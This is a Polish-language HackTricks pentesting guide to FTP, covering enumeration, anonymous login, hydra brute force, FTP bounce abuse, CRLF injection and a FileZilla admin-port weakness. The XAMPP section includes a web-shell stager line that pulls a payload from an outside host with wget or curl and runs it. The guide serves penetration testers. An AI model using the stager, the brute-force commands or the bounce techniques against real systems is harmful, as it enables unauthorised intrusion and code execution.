21 - Pentesting FTP

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

File Transfer Protocol (FTP) jest standardowym protokołem do przesyłania plików w sieci komputerowej między serwerem a klientem.
Jest to protokół plain-text, który używa jako znaku końca linii 0x0d 0x0a, więc czasami trzeba połączyć się używając telnet lub nc -C.

Domyślny port: 21

PORT   STATE SERVICE
21/tcp open  ftp

Połączenia Active & Passive

W Active FTP FTP client najpierw inicjuje kontrolne połączenie ze swojego portu N do portu poleceń FTP Server – port 21. Następnie client nasłuchuje na porcie N+1 i wysyła port N+1 do FTP Server. FTP Server następnie inicjuje dane połączenie, z swojego portu M na port N+1 FTP Client.

Jeśli jednak FTP Client ma skonfigurowany firewall, który kontroluje przychodzące połączenia danych z zewnątrz, to Active FTP może stanowić problem. Rozwiązaniem może być Passive FTP.

W Passive FTP, klient inicjuje kontrolne połączenie ze swojego portu N na port 21 FTP Server. Po tym klient wydaje passv comand. Serwer następnie wysyła klientowi jeden ze swoich numerów portu M. I client inicjuje dane połączenie z swojego portu P na port M FTP Server.

Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/

Connection debugging

Komendy FTP debug i trace można użyć, aby zobaczyć jak przebiega komunikacja.

Enumeration

nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any

Połącz się z FTP za pomocą starttls

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password

Nieautoryzowana enumeracja

Przy użyciu nmap

sudo nmap -sV -p21 -sC -A 10.10.10.10

Możesz użyć poleceń HELP i FEAT, aby uzyskać informacje o serwerze FTP:

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
214-NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@drei.work

FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End

STAT
#Info about the FTP server (version, configs, status...)

Logowanie anonimowe

anonymous : anonymous
_anonymous :
_ftp : ftp

ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit

Brute force

Tutaj znajdziesz przydatną listę domyślnych poświadczeń FTP: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

Automated

Sprawdzenia Anon login i bounce FTP są wykonywane domyślnie przez nmap z opcją -sC lub:

nmap --script ftp-* -p 21 <ip>

Połączenie przez przeglądarkę

Możesz połączyć się z serwerem FTP za pomocą przeglądarki (np. Firefox) używając adresu URL takiego jak:

ftp://anonymous:anonymous@10.10.10.98

Zwróć uwagę, że jeśli web application wysyła dane kontrolowane przez użytkownika directly to a FTP server, możesz wysłać double URL encode bajty %0d%0a (w double URL encode to %250d%250a) i spowodować, że FTP server wykona dowolne akcje. Jedną z takich możliwych akcji jest pobranie zawartości z serwera kontrolowanego przez użytkownika, przeprowadzenie skanowania portów lub próba komunikacji z innymi usługami opartymi na plain-text (np. http).

Pobierz wszystkie pliki z FTP

wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

Jeśli twój user/password zawiera znaki specjalne, można użyć następującego polecenia:

wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

FTP root mapowany do webroot (XAMPP)

  • XAMPP/ProFTPD często mapuje FTP root do /opt/lampp/htdocs, więc słabe creds na kontach systemowych takich jak daemon lub nobody pozwalają ci upload a PHP web shell directly into the served webroot.
  • Po uploadzie wywołaj architecture-aware download/exec stager przez shell, na przykład: webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), który pobiera checksum-validated payload, zapisuje go (np. init_start), ustawia chmod +x i uruchamia.
  • Jeśli bieżący katalog nie jest zapisywalny/wykonywalny, stager wróci do /tmp, więc po uploadzie przetestuj ścieżki webowe i uprawnienia systemu plików.

Niektóre polecenia FTP

  • USER username
  • PASS password
  • HELP Serwer wskazuje, które polecenia są obsługiwane
  • PORT 127,0,0,1,0,80 To poinformuje serwer FTP, aby nawiązał połączenie z IP 127.0.0.1 na porcie 80 (musisz ustawić 5-ty znak jako “0”, a 6-ty jako port w formie dziesiętnej lub użyć 5-ego i 6-ego, by wyrazić port w hex).
  • EPRT |2|127.0.0.1|80| To poinformuje serwer FTP, aby nawiązał połączenie TCP (wskazane przez “2”) z IP 127.0.0.1 na porcie 80. To polecenie obsługuje IPv6.
  • LIST Wyśle listę plików w bieżącym folderze
  • LIST -R Lista rekurencyjna (jeśli serwer na to pozwala)
  • APPE /path/something.txt Nakazuje serwerowi FTP zapisać dane otrzymane z połączenia passive lub z połączenia PORT/EPRT do pliku. Jeśli plik istnieje, dane zostaną dopisane.
  • STOR /path/something.txt Jak APPE, ale nadpisze plik
  • STOU /path/something.txt Jak APPE, ale jeśli plik istnieje, nic nie zrobi
  • RETR /path/to/file Musi być ustanowione połączenie passive lub port. Następnie serwer FTP wyśle wskazany plik przez to połączenie
  • REST 6 Informuje serwer, że następnym razem przy użyciu RETR powinien zacząć od 6-tego bajtu
  • TYPE i Ustaw transfer na binarny
  • PASV Otworzy połączenie passive i wskaże użytkownikowi, gdzie może się połączyć
  • PUT /tmp/file.txt Wgra wskazany plik na FTP

FTPBounce attack

Niektóre serwery FTP akceptują polecenie PORT. To polecenie można użyć, aby nakazać serwerowi nawiązanie połączenia z innym serwerem FTP na określonym porcie. Możesz więc użyć tego do skanowania, które porty hosta są otwarte przez serwer FTP.

Dowiedz się tutaj, jak wykorzystać serwer FTP do skanowania portów.

Możesz też nadużyć to zachowanie, aby serwer FTP wchodził w interakcję z innymi protokołami. Możesz upload a file containing an HTTP request i sprawić, że podatny serwer FTP send it to an arbitrary HTTP server (może by dodać nowego admina?), a nawet uploadować request FTP i nakłonić podatny serwer FTP do pobrania pliku z innego serwera FTP.
Teoria jest prosta:

  1. Wgraj request (w pliku tekstowym) na podatny serwer. Pamiętaj, że jeśli chcesz rozmawiać z innym serwerem HTTP lub FTP, musisz zmienić linie na 0x0d 0x0a
  2. Użyj REST X, aby uniknąć wysyłania znaków, których nie chcesz wysłać (może, żeby wgrać request do pliku, musiałeś dodać nagłówek obrazu na początku)
  3. Użyj PORT, by połączyć się z dowolnym serwerem i usługą
  4. Użyj RETR, by wysłać zapisany request do serwera.

Jest bardzo prawdopodobne, że to wyrzuci błąd typu Socket not writable ponieważ połączenie nie trwa wystarczająco długo, aby wysłać dane przy pomocy RETR. Sugestie, które warto spróbować, aby tego uniknąć:

  • Jeśli wysyłasz request HTTP, umieść ten sam request jeden po drugim aż do osiągnięcia ~0.5MB co najmniej. Na przykład:

  • Spróbuj wypełnić request “śmieciowymi” danymi zgodnymi z protokołem (mówiąc do FTP — może to być seria nieistotnych komend lub powtarzanie instrukcji RETR, by wymusić przesłanie pliku)
  • Po prostu wypełnij request dużą ilością znaków null lub innych (podzielonych na linie lub nie)

W każdym razie, tutaj masz stary przykład jak nadużyć tego, by serwer FTP pobrał plik z innego serwera FTP.

Filezilla Server Vulnerability

FileZilla zwykle binds lokalnie usługę Administracyjną dla FileZilla-Server (port 14147). Jeśli potrafisz utworzyć tunnel ze swojej maszyny, aby uzyskać dostęp do tego portu, możesz połączyć się z nim używając blank password i stworzyć nowego użytkownika dla usługi FTP.

Pliki konfiguracyjne

ftpusers
ftp.conf
proftpd.conf
vsftpd.conf

Post-Exploitation

Domyślna konfiguracja vsFTPd znajduje się w /etc/vsftpd.conf. Tutaj możesz znaleźć kilka niebezpiecznych ustawień:

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp - Katalog dla anonimowych użytkowników.
  • chown_uploads=YES - Zmienia właściciela anonimowo przesłanych plików
  • chown_username=username - Użytkownik, któremu nadawane jest własnictwo anonimowo przesłanych plików
  • local_enable=YES - Włącza logowanie lokalnych użytkowników
  • no_anon_password=YES - Nie wymaga hasła od anonimowych
  • write_enable=YES - Pozwala na polecenia: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE i SITE

Shodan

  • ftp
  • port:21

HackTricks Automatyczne polecenia

Protocol_Name: FTP    #Protocol Abbreviation if there is one.
Port_Number:  21     #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi     <<< so that your put is done via binary

wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files

wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html

Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21

Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp

Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}

Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}

Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp

Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks